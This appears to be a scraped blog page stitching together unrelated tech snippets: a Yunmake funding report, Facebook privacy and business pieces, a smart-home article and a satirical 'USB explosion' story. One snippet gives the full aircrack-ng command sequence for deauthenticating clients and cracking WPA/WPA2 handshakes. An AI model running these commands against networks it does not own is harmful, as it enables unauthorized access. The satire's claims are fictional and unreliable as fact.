Smart Bike Startup Yunmake Gets Series A From Xiaomi Founder’s Investment Firm

Yunmake, a Hangzhou-based smart bike maker, has raised a Series A led by Shunwei Capital, the investment firm led by Xiaomi chief executive officer Lei Jun. The company did not reveal the precise amount, but an article posted to Yunmake founder and CEO Qiu Yiwu’s Weibo said that the round is worth “tens of millions of RMB” (10 million RMB is equal to about $1.6 million).

Other participants include Foxconn, Qualcomm, ZhenFund, Ricebank, and Yinxinggu Capital. Shunwei and Ricebank are both returning investors, having contributed to Yunmake’s angel round last year, according to TechNode.

Yunmake makes foldable electric bikes, like the X1 (pictured above), that are battery-powered and connected to an app.

While a Xiaomi representative declined to comment on potential collaborations with Yunmake, Shunwei’s (and, by extension, Lei Jun’s) interest in the company is notable because Xiaomi is busy building a hardware ecosystem that extends beyond its smartphones. Xiaomi hasn’t rolled out vehicles yet, but reports have surfaced that it wants to add electronic bikes and smart cars to its growing roster of consumer hardware.

Devices sold by the company now run the gamut from GoPro-like action cameras, smart televisions, and fitness trackers to less glamorous products like a smart air purifier. Cynics may wonder why Xiaomi is hawking blood pressure monitors, but asanalyst Ben Thompson of Stratechery wrote earlier this year, Xiaomi doesn’t just want to be a phone maker—it’s intent on becoming an Internet of Things company.

Most of its hardware runs on MIUI, Xiaomi’s Android skin, and are connected to its messaging service and e-commerce store. In an interview with TechCrunch’s Jon Russell earlier this year, Xiaomi’s international vice president Hugo Barra explained that Xiaomi monetizes through its software services, so bringing more people into its ecosystem through low-priced hardware that covers different lifestyle needs is essential.

Comments

Crack WPA & WPA2 with Aircrack-ng on Kali Linux

In this tutorial we are going to teach you How to crack WPA & WPA 2 with aircrack-ng on Kali Linux. We high recommend this for research or educational purpose only. Things we used for cracking WPA & WPA2: Alfa AWUSO36H Wireless Card Windows 7-64bit (works on 32bit) VMware Workstation Kali Linux 2.0 Command to crack WPA & WPA2: airmon-ng sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor sudo ifconfig wlan0 up airodump-ng wlan0 airodump-ng -c [channel id] --write [any name] --bssid [bssid of the wifi] wlan0 aireplay-ng --deauth 5 -a [bssid] -c [station id] wlan0 aircrack-ng -w [wordlist file] -b [bssid] [any name]-01.cap sudo ifconfig wlan0 down sudo iwcofnig wlan0 mode monitor sudo ifconfig wlan0 up Here is a YouTube video on How to crack WPA and WPA2 with Aircrack-ng on Kali Linux: In the about tutorial we EVER hack our own systems as a proof of concept and never engage in any black hat activity.

Building a smarter home

The Jetsons presented a highly entertaining vision of what homes of the future would look like . The animated television show anticipated a world where humans would be able to do everything with just the push of a button. In many ways, the show turned out to be prophetic; today we have printable food, video chats, smartwatches and robots that help with housework — and flying cars may even be on the way. The challenge for companies is to integrate digital technologies in meaningful ways that enhance people’s homes and improve their lives. Many of the innovations to emerge over the past few years have been geared toward this kind of “push-button living.” Thanks to the rise of smartphones and the proliferation of cheap sensors, it is possible to make just about any household appliance “smart” and “connected.” By 2019, companies are expected to ship 1.9 billion connected home devices, bringing in about $490 billion in revenue. ...

Facebook ‘Class Action’ Privacy Lawsuit Moves To Austrian Supreme Court

A privacy lawsuit filed against Facebook last year by Viennese lawyer and data privacy activist Max Schrems has moved up to Austria’s Supreme Court which will rule on whether the suit can be treated as a class action. When Schrems kicked off the suit, back in July 2014, he invited adult non-commercial Facebook users located anywhere outside the U.S. and Canada to join the suit for free — and tens of thousands of people quickly took up the invitation. The legal action focuses on multiple areas where the plaintiffs argue Facebook has been violating EU data protection laws, such as the absence of effective consent to many types of data use; the tracking of Internet users through external websites; and the monitoring and analysis of users via big data systems. Facebook’s participation in the NSA’s PRISM surveillance program is also part of the complaint. In July the case suffered a setback when an Austrian regional co...

How ad-free subscriptions could solve Facebook

At the core of Facebook’s “well-being” problem is that its business is directly coupled with total time spent on its apps. The more hours you pass on the social network, the more ads you see and click, the more money it earns. That puts its plan to make using Facebook healthier at odds with its finances, restricting how far it’s willing to go to protect us from the harms of over use. The advertising-supported model comes with some big benefits, though. Facebook CEO Mark Zuckerberg has repeatedly said that “We will always keep Facebook a free service for everyone.” Ads lets Facebook remain free for those who don’t want to pay, and more importantly, for those around the world who couldn’t afford to. Ads pay for Facebook to keep the lights on, research and develop new technologies, and profit handsomely in a way that attracts top talent and further investment. More affluent users with more buying power in markets like the US, UK, and Canada command higher ad prices, effectively...

Careless USB removal causes multiple deaths

EIGHTEEN workers have died after a USB stick was removed from a computer without adequate precautions. The offices of Hereford-based Envision Photography were completely destroyed in the ensuing blast. Survivor Norman Steele said: “My colleague Helen had put some files on the stick to work on at home, and she yanked it out of the computer before anyone could scream ‘no’. “I kicked her aside as a jet of white-hot flame belched out of the USB port and set fire to the desk opposite. “Grabbing her, I dived through the window just before all the PCs in the network exploded with purple electricity that fried everyone in the building. “I sprinted to my car, knowing that the printers were already becoming merciless hunter-killer drones, shouting for Helen to follow. “But when I looked round I saw her frozen, something glowing in her hand, the awareness dawning of her fate. She was still holding the USB. “She detonated in a flash of ultraviolet light that turned eve...

Exciting Technology

Search This Blog